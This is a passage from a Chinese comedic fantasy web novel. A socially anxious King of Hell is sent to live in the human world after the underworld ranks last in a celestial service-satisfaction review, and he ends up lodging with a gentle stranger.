《社恐阎王的人间日常》
1. 垫底的阎王大人
冥界年终述职大会,地府核心区。
幽暗阴森的阎罗大殿两侧,密密麻麻站满了地府高级要员。
阎璟坐在大殿首位上,很努力把自己缩进那象征无上权利到玄黑龙纹帝袍中。
袍子很重,压的他喘不上气,虽然理论上他并不需要呼吸。
目光直视正前,一动不敢动,他能感觉到身后十殿阎罗的法相不怒自威。
秦广王的怒目金刚相,楚江王的冰霜寒魄相,妈的,不知道是不是他的错觉,总感觉一个个都比他大得多。
不是体型。
是某种气势。
他总觉得自己的阎君法相有点……发育不良?
尤其是在这个需要威严的时候!
平常他们吃这么好嘛?一个个长这么大!
叮~~
一道震耳欲聋清脆的天音从冥界上空传来。
随着音落光现,冥界正上空出现一道无法形容的淡金色光幕,一点点无限延展放大,在半空缓缓形成一块光晕幕布。
众鬼皆知,这是【天道年终经营管理评估大会】,要开始了!
这个评估大会原始于三百年前,不知道天道那群老头子怎么就脑子抽筋,出了一个什么经营管理评估。
阎璟总感觉这玩意是特意针对他的,但是他没有证据!按在黑玉扶手上的双手,也不自觉蜷缩成个拳头,闭着眼睛,深吸一口气,再缓缓睁开眼睛,吐气。
死腿,别抖啊,不紧张,我叫不紧张。
批判大会开始了——叮!
阎璟本就不怎么威严的法相似乎抖了一下。
光幕上首先浮现的是三界概览图,每幅图的配文大致讲了仙,佛,冥三界人员编制及占地面积等基础数据。
首先,出场是仙界。
流光溢彩,鸟语花香,仙鹤清唳穿云透雾,云霞可踏,流水可行,三代六十五位正神,神采飞扬,可谓皆生芳华。
“仙界真他妈漂亮!”下面不知道是哪位鬼差不自觉感叹一句,又赶紧捂上嘴。
阎璟在上方听的真切,心想:天上那一帮戏子,整天研究跳舞唱歌,正事不干几个,漂亮有个几把用。
接下来,西方佛界。
梵音隐现,量光普照,光芒万丈。每个光头都闭着眼,双手合十,嘴里念叨一些让人想死的梵语。
阎璟再次闭上眼睛,这次索性把听力也一并屏蔽了,没办法,他总感觉那阿弥陀佛的声音听久了,他妈的想出家!
最后,冥界。
来了!
仓灰的天,黢黑到水,幽暗的磷火之蓝,青灯悬浮冷焰,十八层地狱的惨状,就连唯一能媲美的彼岸花田都显得阴森恐怖。
三界对比图,没有比较就没有伤害。
阎璟看着前面冲击力极强的画面,两眼一黑又一黑!
他已经确定了,这个提出三界评估的人,就他妈是专门针对他的!
然后,光幕再次变动,各界各项排名跳了出来。
首先,是三界众生综合满意度年度排名。
第一名:仙界—广寒宫物业服务部,满意度99.9%
旁白一排小字:连续百年蝉联。
主要成就:月饼口味各色创新,玉兔撸毛体验馆,吴刚砍树噪音控制有方。
月饼越来越难吃!
玉兔毛撸光了吧!
吴刚敢不听话?嫦娥会让他滚呐!
第二名:佛国极乐世界客服中心,满意度98.5%
主要成就:梵音背景音乐可选,每次投诉“佛曰总让放下,但没说明放哪。”的差评减少。
阎璟:……真佛啊!不,真狗啊!
滚动,持续向下滚动。
阎璟的指尖冰凉,他盯着那片属于冥界的字体,正在无限接近底部的位置,心凉透了。
最终,光幕停住。
倒数第三名:六恶道食堂管理处,满意度35.7%。
差评:总吃不饱,菜品单一,只有一种无尽饥渴糊糊,用餐环境过于嘈杂,永不停歇的哀嚎声。
倒数第二名:十八层地狱体验优化部,满意度25.8%。
持续走低。
差评:疼痛缺乏层次感;刑具款式千年不变,都包浆了;行刑鬼差服务态度恶劣,边用刑边聊天。
冥界众人倒吸口凉气后,随之而来便是一片压抑的死寂。
连秦广王法相上的怒目都暂时闭上了。
然后,光幕稳稳地,落在了最后一行。
大写加粗的四号宋体,闪烁着红光,甚至配上了仿佛从天道深空处传来的沉重叹息声的音效。
哎!最后一名:冥界用户综合满意度,满意度19.9%
连续三百年,蝉联倒数第一
同比上一百年下降五个百分点,下跌速度三界第一,无人匹敌!
提出重点批评!
光幕无情地展开详情……
投胎流程差评:投胎平均排队时间约五十年,对比仙界平均零点五秒,佛国有缘即刻接引,形成严重反差。
用户典型差评:
一、排到孟婆汤都凉了,而且口味也不是我喜欢的,难喝死了,强烈要求出微糖、去冰、加珍珠椰奶布丁版本!
二、就是,口味千年不变,苦得像熬糊的黄连!难喝也就算了,前面插队的凭什么?
三、说好的忘情,为什么我只忘了银行卡密码,没忘了前任怎么渣我?
四、我就是想问,凭什么胎教音乐只有一首《安魂曲》单曲循环?能不能有点新意?
五、鬼差脸比我的遗容还臭,问个路要被吼三次,说好的死后关怀呢?心更凉了!
总之,冥界管理体系僵化,服务意识淡薄,缺乏创新与共情能力,严重脱离用户实际需求,主管者需要负主要责任。
最后一行字,像烧红的烙铁,烫在在座每一个鬼差和首席大大阎璟的神魂上。
阎璟觉得那件沉重的帝袍领口,瞬间勒紧了他的喉咙。
不,他没有喉咙,但那种窒息感无比真实。
他甚至不敢转头去看秦广王的脸色。
这位最重规矩,最暴躁也最忠诚的老下属,此刻怕不是要把后槽牙都咬碎了。
都这样了,光幕还没有就此停止。
开始播放用户访谈片段。
片段一:一个模糊的白色灵魂身影,马赛克的形态,挥舞着手臂:“我等了六十年!就为了重新做人!结果告诉我资料填错了?你们地府的办公章程是阴间笑话吗?!”
片段二:另一个灵魂蹲在地上画圈:“我就想要碗甜一点的孟婆汤……他们说我功德不够,不配提要求。可我生前捐了三座长江大
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桥啊!桥啊!”
片段三:还有一个更激动:“投诉!我他妈要投诉那个姓白的勾魂使者!白无常是吧,是他吧!他勾我魂的时候还在刷短视频!笑得嘎嘎的!我死得很严肃好吗?!”
片段戛然而止。
阎璟的心也咯噔一下戛然而止。
他再次闭上眼睛!
不忍直视!
光幕啪一下恢复平静,金光浮现,那道象征着天道的空灵的声音传遍三界。
鉴于冥界地府满意度连续三百年垫底,且,呈加速恶化趋势,严重拖累三界和谐发展的KPI指标。
根据《天道管理章程》第十七章第三条,末位观察与改进机制……现对冥界第一责任人,首席阎君——阎璟,作出如下处理:
阎璟屏住了呼吸,眼睛睁都不睁,双手蜷缩在衣袍中,止不住的微颤!
天空之上,金色文字一个个砸落:
即刻起,进入观察期。
封印其绝大部分神力,投入人间界,以普通生灵身份进行为期一年的基层服务体验。
并于期满后,提交切实可行的《冥界服务体系改革方案》。
天道指派督导员一名,全程监督记录。
处置立即生效。
立!即!生!效!
最后四个字,是血红色的。
光幕缓缓淡去,留下满殿死寂,和空气中几乎凝固的震惊。
阎璟依旧稳坐首位一动不动。
十殿阎王,四大判官,黑白无常等总经办要员个个都惊呆了,视线落在正位,再次感叹,阎王大人不愧是他们地府的NO.1。
泰山崩于前而面不改色。
熟不知,他们的阎王大人眼前已经开始发黑,背后冷汗都湿透了。
那段语音如同魔咒一般,在他心里响了一遍又一遍。
基层?人间?
体验?
社交……
社恐在这一刻全面爆发,席卷了他本就因打击而摇摇欲坠的神智。
阎璟张了张嘴,喉咙干涩得发不出完整音节。
他想说能不能换种惩罚,关禁闭都成啊,想说他去人间界真的不行,想说……
“我……”他终于挤出一点声音,微弱得几乎听不见,“我有社……社……恐。”
可惜,无鬼听见!
“那我们是不是应该给老大办个欢送仪式?”不知道是谁在犄角旮旯里冒出这么一句话,然后,整个大殿就像沸水炸开了锅。
白无常:“要得要得,老大难得出门一趟。”
“呜呜,我不放心,我得跟着老大一起去。”
旁边的鬼给他一个白眼,这就开始演上了,于是在一旁泼冷水,“好像,去人间界,要被封印神力。”
“……”那还是算了吧!
秦广王老人家转头望着从始至终一直处于淡定状态的阎璟,终于忍不住发了话,“阎王大人,你怎么想?”
阎璟内心:他不怎么想,他就不想去!
秦广王见阎璟不说话,叹了口气,“那就准备欢送会吧!”
阎璟内心:这就把我卖了??
“据说,天道指令下,最晚三个时辰,天道督导员就会莅临,时间虽然有点赶,但也来得及!”秦广王大手一挥,“去,请唢呐!”
阎璟:“……”
2. 无语的阎王大人
鬼界办事向来雷厉风行,阎璟还没表态,那个鬼哭狼嚎乐队团就已经飘来了主殿。
“参见阎王大大。”乐队一共五只鬼,每只鬼都是各说各的,音调都不一样,唯一一样的就是那副要死不要活的吊儿郎当样。
阎璟抿唇不语,天道没罚错他,他的团队的确很糟糕,连说话都不团结。
秦广王大手一挥,命令之,“速度去准备欢送会。”
“遵命”“行”“好的”“马上”“这就来”
“……”
阎璟此刻依旧坐在尊位上没有挪动一步。
众鬼心中难免对他们的阎王大人又崇拜几分。
他们家的阎王大人,除了是个工作卷王之外,只有不爱出门这一个缺点,毕竟,地府这么多年亲如一家人,每只鬼各司其职,工作有条不紊,总经办各地阎罗判官都没有什么花架子,都是阎王大人和蔼可亲的功劳!
熟不知,此刻的阎璟心跳如鼓,缓了又缓,腿上才恢复些知觉,想站起来,可看着下面一众鬼差都齐刷刷的看着他,他又有点喘不上气。
幸好,他每次都是法相覆身,别人轻易看不清他的面容,更不可能发现他此刻慌得一比!
要不然,他这个阎王威严肯定会大打折扣!
“秦广王?”阎璟温和的声音终于发出来了,离他最近的老人家幸好耳朵还好使,连忙答应,“您说。”
阎璟张了张嘴,想说,我不在这些日子你老人家多费费心。想说,地府这些个摆烂的官员,你老人家多多敲打敲打。想说,地府一切事物,由你代理,还想说……真的不必搞什么欢送会。
被打下界,又不是什么值得骄傲的事!
但是,半天,阎璟也没有发出声音。
秦广王和楚江王对视一眼,似乎心有所感,立刻上前,异口同声,“请阎君大人放心,臣必竭尽全力,一年期限内,满意度绝对不会再跌。”
阎璟:……
罢了,事已至此,就这样吧!
这边正在紧张交待后事,呸!后面的事!
那边大殿的舞台已经搭好,架子鼓,音响,话筒该架的都架起来,鬼哭狼嚎乐团两嚓啪啪,已经悠悠哉哉唱起来,戏曲腔一出:嘿嘿,又中他人一计~~~
嘿!夜里拜山头,
勾肩搭背是谁的手,
麻起担子就跟到走,
一不做二不休……
……
还挺好听,黑白无常头脑已经跟着节奏晃起来,“这不是人间界最近很流行的《坐忘道》嘛!”
“这节奏太欢快了点吧!不知道的还以为我们在庆祝呢!”四大判官魏判官发表意见。
闻声,阎璟整个人瞬间都不好了!
本来就腿软,现在连头都晕了。
众鬼倒是蛮应景,不管背景音乐多少欢快,个个那出手帕哇哇哭起来,虽然挤出眼泪的也没几只鬼。
“我的老大呀!你走了我们可怎么办呀!”
送葬的!
“你安心的去吧老大,我们一定会照顾好自己的。”
好大儿!
黑白无常皱着眉看了一圈,对视一眼,默契地相互抱在一起,假装哭成泪人。
“我的老大爷啊,我最敬爱的人呐!”
“舍不得,不舍得,舍得不?”
“不——不——”(尔康手)
阎璟想叫停,他真的很想叫停!
秦广王心中对阎璟更加敬佩,别看咱们这位阎王大人年轻,不爱说话,但是胸襟无比宽厚,试问三界众生,哪位上位者能纵容下属如此……不着调!
那边还在悠悠唱着:
嘿,夜里拜山头,
胡言乱语都猜不透,
喜怒哀乐就揣心口,
忘情,忘道,忘春秋。
“这是我刚出锅的彼岸花饼干,送给老大路上吃吧!”众鬼之中,一瘸一拐走出来个老鬼,一看就是那种惯会心疼人的老人家。
楚江王大不上前,试了一小块,非常郑重宣布,“没毒。”
陆陆续续,更多的鬼从屁股兜里掏出一些乱七八糟的东西,“老大,这是黄泉水,你路上喝!”
“老大,这是忘川河里的淤泥,如果你在人间界水土不服,就拿出来闻一闻,或者放在枕头底下。”
众鬼你一言我一语,背景音乐还夹杂着鬼哭狼嚎,整个一锅大乱炖!
阎璟眼前发黑,“啪”一下站起身来。
终于,评估大会到现在,阎王大人终于动了,可是,就这微微一动作把诸鬼君纷纷吓了一跳。
顿时大殿内,鬼一般的寂静!
包括舞台上的乐队都静止了!
众鬼一股脑齐齐望着阎璟。
阎璟隐藏在法相后面的脸瞬间又红了起来,咚!咚!咚!好像能听到自己的心跳声,缓慢,沉重,震击着耳膜。
他缓缓张了张口,还未说出话来。
冥界半空一道金光直直竖下,降落在舞台中央。
有人!
阎璟僵硬的,缓慢的抬起头。
四大判官心中再次觉得阎王大人真的太牛逼了,已经能快一步感应到天道执行官降临冥界,提前起身迎接。
神力高深那叫一个莫测!
舞台中央,那道金光散去,一个身穿现代黑色西装的男人现身,无论衣着,发型,都与他们这个大殿格格不入。
光凭那露出的白皙的近乎透明的脖领,和隐匿在光影中的半张脸,都能觉得美,太美,就是美的没有任何温度。
来人手里拿着一个发着淡淡白光的平板,指尖在上面轻轻一点。
“我是天道派遣来执行神罚的神官。”声音好像也没有温度一般。
这就来了!他们欢送会还没结束呢!
这也太效率了?!
来人瞬移下舞台,一步一步分开众鬼,走到阎璟面前,空静的大殿上,只有男人规律沉重的脚步声。
可这每一步都仿佛像踩在阎璟濒临崩溃的神经上。
他心理建设还没做好呢!
来人望着阎璟,停在他面前三步远,微微仰头看向他,一字一句,“奉天道法旨,现为您执行神力封印及下放人间界的惩罚,为期一年。”
阎璟:“……”
“阎王大人。”
即使坐在高高的首席上,阎璟此刻也感觉自己在被他俯视。
“请配合!”
他的语气没有商量余地。
阎璟无语,废话,他能不配合嘛!
他难道还能违逆天道法旨怎么滴!
又是鬼一般的寂静!<
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p>此时一道老迈的声音传来,“老大呀!我们这些心意你带不?”
还是刚刚那个一看就惯会心疼人的老鬼,他把彼岸花饼干递到天道神官和阎璟中间,丝毫不慌。
看,这就是阎王大人带过的兵,怕他个锤子天道。
众鬼心中纷纷竖起大拇指,这老鬼对阎王大人绝对是真爱!
阎璟内心不想接手,可众目睽睽之下,别人的一番好意,他又不忍心拒绝,正不知道如何办才好,前面那人的声音就传了出来,“此物,不可带!”
阎璟下意识居然松了口气。
“那黄泉水?”
依旧:“不可带。”
“忘川泥?”
还是拒绝:“不可。”
对,就这样,通通拒绝掉。
“能带什么?”这句话是在一旁的秦广王问的,“我们家老大上一次出门还是千年前,到了人间界肯定会不适应。”
“人间界已经选好了侍者,不劳各位操心。阎王大人,只要动身出发即可。”
“那名侍者是……”
“阎王大人下到人间界,见到的第一个人就是,还有何疑问?”
阎璟眼前发黑,耳边听不到任何声音,在无人的角落恐惧的咽了口唾沫,看样子,似乎一切都准备就绪,就差宰他了!
“那咱们开始……”这句话是对阎璟说的,和之前的语调不同,感觉温柔些许,可能是错觉。
天道神官缓缓抬起手,掐指捏出一道白色的柔光,在阎璟额间轻轻一点。
阎璟能明显感觉到自己的神力在集中,手脚开始无力起来。不疼,但是空荡荡的,失去根基的恐慌,比疼痛更可怕。
慢慢,维持着阎王法相的那层力量也在消失,众鬼好奇,个个伸长了脖子,想看清他们的阎王大人究竟是何模样,只是还未看清。
一道白光骤然增强!
阎璟最后的意识,是看到秦广王似乎想上前一步跟他说些什么,却被旁边的楚江王死死拉住。
是看到其他阎罗脸上复杂的,好奇的,一副死猪不怕开水烫的表情。
是看到那个神秘的天道派来监视他的神官的那没有丝毫动摇的冰冷侧脸。
然后,便是无边的黑暗,和身体控制失重般的下坠。
阎璟消失的那一刻!
在众鬼众目睽睽之下,天道这位冰冷的神官一个瞬身便消失不见。
“一个招呼也不打,真没礼貌。”白无常啧啧两声。
秦广王捋捋胡子,“这位天道派来的执行官档期很满呀!”
“阎王大人,什么都没带,到了人间界怎么活啊!”
楚江王觉得他们太过杞人忧天,虽然阎王大人被封印了神力,但是,人间界那些小喽啰想伤害他,还是远远不够的。更何况,“天道只说让阎王大人下界体验生活,可没说不让我们去人界帮忙呀!作弊的手段还是有很多的。”
“上有政策,下有对策!”
“不错,不错,姜还是老的辣!”
正在疯狂下坠的阎璟看着自己身上玄黑龙纹袍在慢慢消失,鞋子袜子都没了,只剩下白色的里衬,最后,连里衬也消失不见,光秃秃的……
不是,没说打入人间界不让穿衣服啊!
喂!有没有搞错啊!
……
3. 掉入狼口的阎王大人
坠落,无休止的坠落。
阎璟感觉自己此刻像个被扒光的雏鸟,已经无力再挣扎,心里只有一个念头,让他掉落在深海或者荒山上去吧,只要没有人的任何地方都行,他已经生物学上死亡了,不想再社会性死亡!
毕竟人间界,车水马龙,人声鼎沸,充满了他恐惧的一切。
老天爷似乎听到了他的内心的呼喊,但是又没完全听清。
伴随一道空灵之声响起,“99%神力封印完成。”
神力被完全剥夺的瞬间,虚无感席卷阎璟的身心,疲惫感如翻江倒海般涌了上来。
紧接着肉眼无法捕捉的一道白光,直接砸向一处水池之央。
不疼!
竟然毫无痛感。
阎璟微微喘着粗气,先是确认自己身体各项机能还能不能运作后,这才缓缓睁开眼睛,视野由模糊渐渐清晰。映入眼帘之中的,是一张英俊男人的脸,可奇怪的是,男人跟他一样,上身未着上衣,光裸地站在一处院落的水池中央,正将他抱在怀里,脸上满是吃惊之色。
阎璟大脑顿时宕机,他上一秒还祈祷着掉到无人的角落任他自生自灭,谁知竟然掉到人家怀里去了!
天道,你在玩我吧!
于是,两眼一翻直接晕了过去。
待他再次睁开眼时,已经是第二天的清晨,外面日头大好。
陌生的房间,陌生的阳光,陌生的床,一切都很陌生!陌生的可怕!
不知道何时,卧室的门被轻轻地推开。
进来的是昨天那个男人。
“你醒了?”一道很温柔的声音,笑起来如沐春风。
被褥中的阎璟身体本能反应先是一咯噔,后慢慢用力撑坐起身来,慢慢蜷缩合拢着膝盖,尽量扯被子盖住自己的脸,用余光仔细打量面前着男人,像个会随时受伤蹦起来的小兔子。
那男人说,“我叫冷樾,是此间的主人,你昨日掉在我家的露天浴池中,被我捡到。”
“……”阎璟极其缓慢将头埋进被褥里,晕死,他不想回忆起来都不行。
冷樾见人一直抿着唇不语,心有所思,遂又上前一步,坐在床边,亲柔的问,“是不是身体有哪些不适?”
只看到藏在被褥里的阎璟,用漏出来头尖微微摇了摇。
他不知道该怎么描述这个没有任何神力的躯体,更没法说,他喜欢人,但是不知道怎么接触人,没办法,他社恐!
冷樾嘴角扬起温柔的弧度,转身从不远处的衣柜里拿出一套衣服,“这衣服是新的,这是内衣,你看看能不能穿?”
阎璟不好意思的伸出纯白无暇的玉手,将衣服拿过来一股脑塞进被褥里,很小声的道了声,“谢谢。”
冷樾看出他的窘迫,于是转身出去,给他穿衣服的空间。
阎璟在人确定出去的瞬间,紧绷的身体终于吐出一口气。
这就算是顺利开启人界生活第一天了?
冷樾给他准备的衣服是一身米白色的运动装,尺寸很合身,质地也很舒服,唯一的突兀就是阎王大人那一头秀丽的长发,让他看上去像个长相英气的女子。
阎璟不会束发,只能任由头发披散着走出房门。
打开卧室的一瞬,阎璟明显发现冷樾回头望着他那双眼睛清亮许多,然后,又缓缓朝他面前走了过来。
阎璟下意识崩紧了身体,但又不想被人看出自己的异状,只能硬着头皮站在原地,看着人一步一步朝他这边走。
“头发有些长,先扎起来吧!”
阎璟摇摇头,很是苦恼,“我不会。”
“嗯,没事,我会,跟我来。”冷樾一脸温柔,拉着阎璟的手腕,将人带到卫生间的镜子前,拿起案上的皮筋熟练的给他绑了个马尾,自然的垂在背后
看着镜子中的冷樾做这一切,阎璟总感觉有哪点不对劲,但是又说不出来究竟不对劲在哪里。
恍然大悟间,对,他要伪装成人,不能让人看出来他是阎王爷。
可关键来了,他没钱,没身份,也没住的地方。
这是最主要的。
不能掉在人家怀里,就死皮赖脸要在人家生活吧!
所以,他要给人家钱!
幸好还留一丁点神力,幻化出来一点钱当做报酬应该没事吧!
于是,阎璟小心翼翼在运动服前面的兜里翻了半天,用神力幻化出一打纸币,给前面的冷樾递了过去,美其名曰,“报酬。”
冷樾神情一顿,低头一看,顿觉无语,“这是冥币。”
阎璟恍然大悟,完大蛋,刚说要伪装成人,就要穿帮了?
“我……这,我拿错了。这是我二姨家的姨哥媳妇家的弟妹的远方姑奶去世时不小心刮到我身上的。”
刮?阎璟已经自动忘却自己是光秃秃来的人间界!
冷樾嘴角上扬,转过头忍着笑意,没拆穿他,“没关系。”
没一会,阎璟又捣鼓捣鼓从兜里掏出几枚古刀币和铜板,“这个应该可以用。”
冷樾接过来,举到半空,迎着外头大亮的日光好奇多看了几眼,“这……确实古老,应该能换不少钱。”
阎璟一听能换不少钱,顿时心里轻松下来。这下一来,收养他一夜加这身衣服的恩情应该算是还清了。
冷樾把古刀币和铜板认真收起来,毕竟阎王大人太久没出过门,现在的货币市场流行什么不太清楚也很正常。
清晨的朝阳总是趁人不注意,偷偷溜进院落,给这座半山腰上的宅院覆上一层金光。
咕噜噜,咕噜噜~
阎璟先是眉头一皱,疑惑起来,开口询问,“是什么声音在响?”
“咕噜噜……”又响了一声。
“嗯呃……”冷樾低下头慢慢指向他肚子。
阎璟醒悟,这是他身体的饥饿感,太丢脸了,神力被封后,他连身体机能都控制不住了。
连忙捂着肚子背过身去,耳尖慢慢浮上一抹嫣红。
冷樾被他手足无措的样子可爱到,揉了揉他背后的小脑袋,“等我一会。”
留下一句话后,转身去厨房准备早饭。
粥是提前熬好的冰糖莲子粥,面包也是提前烤好的,只要煎个煎蛋就好。
阎璟微转过身盯着他的背影,不明白冷樾在那长台子后乒乒乓乓倒腾啥,但他是真饿了,于是走到正厅烛案台前点燃三根竹签香,开始猛吸~吸~吸~
“咳咳咳咳……”
这味不对啊!
阎璟的咳嗽声一下子引起冷樾的注意,三两下把手上的煎蛋盛到盘中,带清理完毕后,赶紧朝阎璟所在的方向走去,离近方才询问,“怎么了?”
阎璟顿感不好意思,但也实话实说,乖巧的很,“我有点饿了,想吃点东西。”
冷樾看
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着被点燃三根竹签香的烟气流动如一条长线,直冲云霄,气势如虹,扶摇直上九万里,一下子便明白过来。
对面前这位阎王大人真的不挑食也再次惊艳到,“这个不能吃,我们不是吃这个的。”
阎王眨巴眨巴眼睛,似乎再问,那要吃什么?蜡烛吗?
他刚尝了一口,也不好吃!
冷樾从他眼睛里看到了问题的关键,再顺着他的视线往下看去,一根如手腕粗细的白色蜡烛上面一口牙印历历在目。
冷樾睁大双眼,很是无语,“你吃了?”
阎璟从他的语气和眼神里觉察到了不可思议,于是再次摇摇头,摆摆手,“没有,我吐了。”
是的,吃不下去,太难吃了,他就没吃过这么难吃的蜡烛和香烛,一点味道都没有。
冷樾微张嘴巴,示意他张开,“啊。”
阎璟乖乖张开,“啊!”
“张大一点。“
“啊——”
冷樾轻叹口气,“随我去刷牙。”
于是,阎璟大人下人间界第二天,就被一个长得很英俊,很温柔,又很神秘的男子,像照顾孩子一样,按在洗漱台面上,一点一点仔仔细细的刷牙!
“咕噜咕噜吐!”
阎璟听话,喝水,咕噜咕噜,吐!
“好了,吃饭去。”
阎王大人活了上万年,没有委屈过自己,没想到有朝一日,掉落人间界,饿的发慌,终于有东西可以祭他的五脏庙,天可怜见,到眼前筷子也不会用,左右一只手一根一个,光是拿眼盯着,小脑袋上满是疑惑。
冷樾把两根筷子从他手上抽出来,爽齐,再次放回他手里,“这样拿,跟我学。”
阎璟试了两次,夹不住,筷子都掉落在地,眉头渐渐皱了起来。
这么个小东西,这么困难?
冷樾也不急,也不恼,十分耐心,待他研究够了,才慢慢一点点喂他。
“真不知道这些年,你是怎么过的?”
这句话让阎璟心生警钟,他的身份可不能暴露这么快!
冷樾边喂边问,“你到现在还没自我介绍一下。”
“自我介绍?”阎璟好奇一问。
“就是叫什么?家住哪里?家里还有什么人,做什么工作?”
阎璟突然想起来什么,对了,他来人间界是要体验生活的,后面估计得找个阴阳相通的特殊公司入职,了解人间界的情况才行。
“我叫阎璟,家住……”住阎罗大殿,家里还有一堆鬼,做阎王的工作。
可除了名字,后面好像一句也说不出来。
“住哪?”
阎璟又摇头。
冷樾心情挺好,也知道他说不出来个所以然,心安理得的提议,“既然你没地方住,就跟我住好了,我这个地方,人流量很少,基本只有游客或者爬山的路人,而且我这处庄园里房间多的是,再者说,你给我的“报酬”太贵重了,完全可以当成租金,租我的房间住,租期一年。”
“一年?”
时间刚好。
阎璟有点心动,人少,安静,房东很好相处,一年后他的惩罚结束,可以顺其自然的离开,简直完美。
冷樾见他表情似乎正在考虑中,于是又加大筹码,“包三餐,包就业,包家务。”
简直为他量身定做的。
阎璟:“成交。”
4. 如此性格的阎王大人
阎王大人适用能力不错,刚到人间的第一天,已经能够把自己料理的井井有条,大概吧!
冷樾答应他吃完早饭,带他去转转庄园。
“此处山下往南走十里就是这座城市的市中心,山上有一座规模不大山神庙,许愿很灵,所以游客会来山上游玩许愿。”
山神?
“供奉的是谁?”
“都是传出来的,谁知道呢。”
冷樾似乎不想说,一语带过,继续带着他,慢悠悠地边消食,边介绍。
阎璟发觉这个庄园规模可不小,他走了这么久,居然还没有逛完三分之一,前厅,正厅,侧院,甚至院落里面还有一颗百年白玉兰树,各种奇花异草,花草树木排列的十分错落精致,在往后,有个人工湖,靠近湖边有处凉亭,凉亭后面又是假山浴池,不远处的花圃中还安置秋千架。
果然是人间的布局,不像他家,乌漆嘛黑,乱七八糟,看到就让人想死!
“选好住哪里了吗?”
阎璟本着不麻烦别人的想法,也不想让人觉得自己挑三拣四,顺口便说:“就刚刚那个房间就挺好。”
冷樾微笑答应说好,心里多少有点小得意,毕竟,那个房间是专门给他的阎王大人准备的。
阎璟松了口气,这也算在人间界有个安稳的定所。
接下来就是要打入基层。
打入基层前要先了解这个新世界的运营规则,比如,他知道交换东西需要用到钱,而且钱这个东西不能用神力幻化,需要付出劳动去换取。
起先,阎璟打算给冷樾打工,比如种花浇水,这样来收获冷樾给他发的报酬。
后来一想,可能行不通,便放弃了。
还是得入乡随俗,跟冷樾一样,找个事做赚取报酬。
冷樾听他一解释,大概知道阎璟要做什么,于是,回到房间,好意把自己的电脑借给阎璟,给他置办手机,又教他如何去通过电视这些高科技产品,去学习这个世界的新知识,只是……
一天过去了,
两天过去了,
一周过去了,
……
冷樾这天下班回来,发现阎璟抱着一盒抽纸坐在沙发上看《甄嬛传》,哭的一把鼻涕一把泪。
冷樾惊呆了!
阎璟那双动人的双眸中饱含着眼泪,水汪汪的,盘腿坐在沙发上,一脸悲痛望着刚下班回来的冷樾,“呜呜,你回来了,我饿了。”
“……”
冷樾把西装外套脱掉挂好,漫步走到他旁边沙发坐下,抽出纸巾仔细帮他擦泪,“怎么哭成这样。”
“就是有感而发,这人呐!无论在哪里,身处多高的权利,日子都不好过啊!”阎璟一时想到自己的遭遇,天道弄一个什么满意度,一下子就把他打到了人间界来,连给他反应的时间都没有,总感觉天道这些人的心眼子,丝毫不必甄嬛传里那些娘娘们的心眼少!
如果他遇到,绝对活不过一集就被玩死了,还不如在阎罗大殿批改文件呢!
冷樾无语叹息,“闭上眼睛。”
阎璟抽泣两声,虽然不知道为什么要闭眼,但很听话,说闭就闭。
冷樾从背面拿出糖葫芦,放到他面前,“睁开看看。”
阎璟看着面前红通通垂涎欲滴的糖葫芦,眼睛瞬间亮了起来。
“谢谢你还记得。”
一开始阎璟刚接触电视,中央频道里放着宝莲灯,小玉跟沉香撒娇要吃糖葫芦,没想到,阎璟也想吃,便跟冷樾提了一嘴。
后来,宝莲灯越看越气,二郎神当初去地府擅自给沉香加寿命和后面撕毁生死簿的事,又让他想了起来。
可气!
于是,便不想看了,转头又去看甄嬛传!
“先垫垫肚子,我去做晚饭。”
阎璟乖巧的点头,一点点舔舐糖葫芦外面一层的奶皮子,内心再次感叹,自己已经颓废了!
“对了,你工作找的怎么样了?”冷樾系好围裙,一边洗菜,一边询问。
“过两天去奴隶市场看看,有没有主人家买我。”
冷樾正在洗菜的手突然一抖,感情这一周,阎王大人只顾看电视了,现代知识是一点没学啊?
“现在没有奴隶市场了。”
“那叫什么?”
“人才市场。”
“哦,高级!”
得,阎王大人还知道高级这个词,到底还是学了点。
“那我现在还需要跟雇主签卖身契吗?”阎璟伸着脑袋询问。
”那叫劳务合同!”
冷樾无奈叹息一声,看来指望阎王大人自己去找工作已经不太可能了。
于是,做完晚餐的冷樾,趁着阎璟还在看电视的间隙拨了通电话。
冷樾的菜虽然看上去色香味俱全,但是阎璟就是有点吃不惯,可能太久没有尝过五谷杂粮,有点生疏。
所以,他填饱肚子后就搁下筷子,没有多吃。
冷樾看着阎璟放下碗筷,微微蹙眉。
这一周来,他已经不重样换了多种菜品和口味,到现在还是没有摸清阎王大人的口味。
“我去看电视了。”阎璟把甄嬛传看到结束,内心圆满后,才想起来正事。
于是趁着消食的间隙,朝着山上冷樾所说的那山神庙上走去。
上山的路是修缮好的,甚至可以通车,所以,地方也比较好找,沿着山路一路到走到山顶就到了!
天上的月亮虽然明亮,但是乌云也多,时不时就被乌云盖了眼,时不时乌漆嘛黑。
刚到山顶,阎璟被眼前的一幕所震撼,山上黑漆漆,可山下是万家灯火,大好河山,温暖又明亮。
背后的小小的山神庙反倒显得特别孤冷,“很灵吗?”
阎璟很好奇。
“心诚则灵。”一道突兀声音突然传入他的耳里。
还真有东西。
阎璟心想,既然来了,怎么也得看看究竟是个什么玩意,然后问问此地有没有连同阴阳两届的特殊办事处。
“怎么才算心诚?”
“卧槽!还有人能听到我说话。”
阎璟:……
“小东西,你要许什么愿望?空着手来的就算了,至少也先跪下表达一下诚意吧!”声音又来了。
阎璟活上万年,这是第一个跟他这么说话的山神。
就怕他跪下去的瞬间,他这个假冒的山神也当场跪了!
“我问一下,此地是何处,有无阴间办事处?”
“都说了,要许愿,先跪拜,再送礼。”
阎璟:“……”
这什么风气?
这么腐败!
“我没有。”阎璟是个三无人员,吃住都是靠冷樾,他哪来的礼。
“没有?许愿就不灵了。”
阎璟低下头有点沮丧,出师未捷身先死,第一步就已经进行不下去了。
难道非要暴露出他阎王的身份?
思虑再三,阎璟想了个折中的方法,把袖口一卷,开始弯腰搬砖。
“喂喂,你干什么?”那道声音里夹杂一丝好奇。
阎璟抿了抿唇,又挠了挠头,“呃,那个,不好意思,因为你满足不了我的愿望,所以我打算拆了它。”
“什么!”那道声音瞬间惊呆了!
阎璟也有点不好意思,再次道歉,态度出奇的好,“真的太不好意思了,你就将就下吧,我这个人性格就这样。”
说完还真就开始捣鼓搬砖,连脚带踢,势头强劲,一股子不达目的不罢休的气势!
那声音果然不淡定了,直接现了身形,站在阎璟
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身后,上去扒拉着他,“你别砸了行不,我真服了你了。你是哪方的奇能异士,做事怎么能这么冲动?”
阎璟不管,继续……
“住手!住手!万事好商量!”
